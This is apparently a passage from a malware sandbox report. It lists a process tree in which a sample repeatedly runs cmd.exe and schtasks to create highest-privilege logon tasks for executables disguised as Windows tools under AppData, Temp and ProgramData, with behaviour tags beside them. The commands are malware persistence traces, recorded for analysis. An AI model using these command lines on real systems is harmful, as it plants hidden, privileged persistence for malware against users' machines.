    schtasks /create /tn "WinTask_ktmutil_3" /tr ""C:\ProgramData\MicrosoftService\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_5" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_5" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dialer_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\dialer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dialer_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\dialer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_replace_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\replace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_replace_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\replace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7112
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\netiougc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_shrpubw_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\UpdateCache\shrpubw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_shrpubw_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\UpdateCache\shrpubw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_provlaunch_7" /tr ""C:\ProgramData\MicrosoftService\provlaunch.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_provlaunch_7" /tr ""C:\ProgramData\MicrosoftService\provlaunch.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unregmp2_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\unregmp2.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unregmp2_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\unregmp2.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeRemove\Logs\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeRemove\Logs\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_colorcpl_3" /tr ""C:\ProgramData\MicrosoftService\colorcpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_colorcpl_3" /tr ""C:\ProgramData\MicrosoftService\colorcpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D6D.tmp\Logs\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D6D.tmp\Logs\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_5" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_5" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5400
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_7" /tr ""C:\ProgramData\MicrosoftService\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_7" /tr ""C:\ProgramData\MicrosoftService\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A20.tmp\Logs\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A20.tmp\Logs\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_provlaunch_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\provlaunch.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_provlaunch_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\provlaunch.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2864
- C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\RestoreStop.exe
  "C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\RestoreStop.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:6800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_printui_3" /tr ""C:\ProgramData\MicrosoftService\printui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_printui_3" /tr ""C:\ProgramData\MicrosoftService\printui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6284
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6272
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_esentutl_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\esentutl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_5" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_5" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SndVol_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SndVol_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmgaserver_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmgaserver_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_pcaui_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\pcaui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_pcaui_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\pcaui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_label_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_label_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OpenWith_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoSplit\Logs\OpenWith.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OpenWith_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoSplit\Logs\OpenWith.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x86_7" /tr ""C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\UpdateCache\VC_redist.x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x86_7" /tr ""C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\UpdateCache\VC_redist.x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_3" /tr ""C:\ProgramData\MicrosoftService\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_3" /tr ""C:\ProgramData\MicrosoftService\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup16_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\setup16.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup16_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\setup16.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6204
- C:\Users\Admin\AppData\Roaming\OutWatch\Logs\fltMC.exe
  "C:\Users\Admin\AppData\Roaming\OutWatch\Logs\fltMC.exe" --watchdog-slave
  2⤵
  PID:3120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1300
